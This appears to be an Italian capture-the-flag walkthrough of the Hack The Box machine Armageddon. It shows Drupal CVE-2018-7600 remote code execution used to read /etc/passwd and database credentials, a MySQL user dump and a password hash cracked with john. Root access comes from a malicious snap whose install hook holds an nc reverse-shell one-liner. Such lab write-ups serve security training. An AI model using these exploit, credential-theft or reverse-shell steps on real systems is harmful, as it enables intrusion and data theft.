HTB - Armageddon
Video: HTB - Armageddon
Table of contents:
A seguire è riportato un breve walkthrough della macchina Armageddon offerta dalla piattaforma Hack the Box.
I soliti scan con nmap
ci danno i seguenti risultati
nmap -sC -sV armageddon
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-21 19:40 CEST Nmap scan report for armageddon (10.129.48.89) Host is up (0.052s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA) | 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA) |_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |_http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 |_http-title: Welcome to Armageddon | Armageddon Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.36 seconds
nmap -p- armageddon
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-21 19:40 CEST Nmap scan report for armageddon (10.129.48.89) Host is up (0.053s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 35.06 seconds
Andando nella porta \(80\) troviamo un web server su cui gira
un'istanza dell'open-source CMS drupal
. Per verificare la
particolare versione del software ci basta andare al seguente url
http://armageddon/CHANGELOG.txt.
Come è possibile vedere, la versione corrente è la 7.56
.
Tramite il python script drupa7-CVE-2018-7600.py
presente nella
seguente github repo (pimps/CVE-2018-7600) siamo in grado di
ottenere una RCE (Remote Code Execution)
git clone https://github.com/pimps/CVE-2018-7600.git cd CVE-2018-7600 python3 drupa7-CVE-2018-7600.py -c 'whoami' http://armageddon
Tramite la RCE trovata siamo in grado di estrapolare varie informazioni sul sistema che stiamo cercando di attaccare. Tra queste troviamo:
usernames nel file
/etc/passwd
tramite il comandopython3 drupa7-CVE-2018-7600.py -c 'cat /etc/passwd' http://armageddon
che ci ritorna in output
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:999:998:User for polkitd:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
mysql credentials nel file
/var/www/html/sites/default/settings.php
python3 drupa7-CVE-2018-7600.py -c 'cat /var/www/html/sites/default/settings.php' http://armageddon
che sono le seguenti
$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupal', 'username' => 'drupaluser', 'password' => 'CQHEy@9M*m23gBVj', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), ), );
Osserviamo ora che eseguendo netstat -ltpn
sulla macchina remota
troviamo
Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 ::1:25 :::* LISTEN - tcp6 0 0 :::80 :::* LISTEN -
In altre parole, abbiamo un server mysql
in ascolto nella porta
\(3306\). Utilizzando la RCE di prima siamo quindi in grado di
estrarre tutte le righe della tabella user
nel database drupal
come
segue
python3 drupa7-CVE-2018-7600.py -c 'mysql -h localhost -u drupaluser -pCQHEy@9M*m23gBVj drupal -e "select * from users;" ' http://armageddon
In particolare troviamo la seguente password hashata, associata
all'username brucetherealadmin
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
Utilizzano john the ripper siamo in grado di crackare l'hash appena
trovata. Per fare questo ci basta salvare l'hash in un file
chiamato passwd
e poi chiamare john
echo "$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt" > passwd john --wordlist=~/repos/wordlists/rockyou.txt passwd
Alla fine john ci ritorna il seguente output
Created directory: /home/leo/.john Using default input encoding: UTF-8 Loaded 1 password hash (Drupal7, $S$ [SHA512 128/128 AVX 2x]) Cost 1 (iteration count) is 32768 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status booboo (?) 1g 0:00:00:01 DONE (2021-05-22 23:39) 0.9803g/s 227.4p/s 227.4c/s 227.4C/s courtney..harley Use the "--show" option to display all of the cracked passwords reliably Session completed
In altre parole abbiamo trovato le seguenti credenziali:
(user):(password) brucetherealadmin:booboo
Per ottenere la user flag ci basta loggare con ssh
utilizzando le
credenziali appena trovate
ssh brucetherealadmin@armageddon # ENTER, then type 'booboo'
Per ottenere la root flag invece ci basta effetutare sudo -l
all'interno della macchina per vedere il seguente output
... L'utente brucetherealadmin può eseguire i seguenti comandi su armageddon: (root) NOPASSWD: /usr/bin/snap install *
Notiamo che possiamo eseguire il comando snap install
con qualsiasi
flag. L'idea questo punto è quella di costruire uno snap malevolo
(vedi sezione extra) con un hook install script che fa spawnare una
reverse shell ad un determinato endpoint
Una volta che abbiamo costruito lo snap, dobbiamo metterci in
ascolto su una porta, ad esempio con nc -lvnp 4321
, trasferire lo
snap nella macchina remota, ed eseguire il codice malevolo che
spawna una reverse shell andandolo ad installare come segue
/usr/bin/snap install my-snap.snap --dangerous
Notiamo che la flag --dangerous
è fondamentale, in quanto
altrimenti snap
si rifiuterà di installare lo snap fornito.
Questo farà partire una rev shell da root, e così facendo avremmo accesso alla root flag, completando la macchina.
Per quanto riguarda la costruzione dello snap, ho utilizzato il seguente articolo (the install hook), che mostra come costruire uno snap con uno script che viene eseguito durante l'installazione (hook install script).
L'idea è di utilizzare una distribuzione ubuntu, installare il
binario snapcraft
, ed eseguire i seguenti comandi
mkdir test
cd test
snapcraft init
mkdir src
mkdir -p snap/hooks
A questo punto dobbiamo editare due file:
Il file di configurazione
snapcraft.yaml
, che deve avere il seguente contenutoname: my-snap-name # you probably want to 'snapcraft register <name>' version: '0.1' # just for humans, typically '1.2+git' or '1.3.2' summary: Single-line elevator pitch for your amazing snap # 79 char long summary description: | This is my-snap's description. You have a paragraph or two to tell the most important story about your snap. Keep it under 100 words though, we live in tweetspace and your description wants to look good in the snap store. grade: devel # must be 'stable' to release into candidate/stable channels confinement: strict parts: my-service: plugin: dump source: src/ hooks: install: plugs: [network]
E lo script
install
, che deve contenere il codice malevolo che vogliamo far eseguire da root alla macchina remota.#!/usr/bin/env sh rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc <IP> <PORT> >/tmp/f
Come possiamo vedere, nello script dobbiamo specificare l'indirizzo ip e la porta della nostra macchina su cui ci mettiamo in ascolto per ricevere la reverse shell.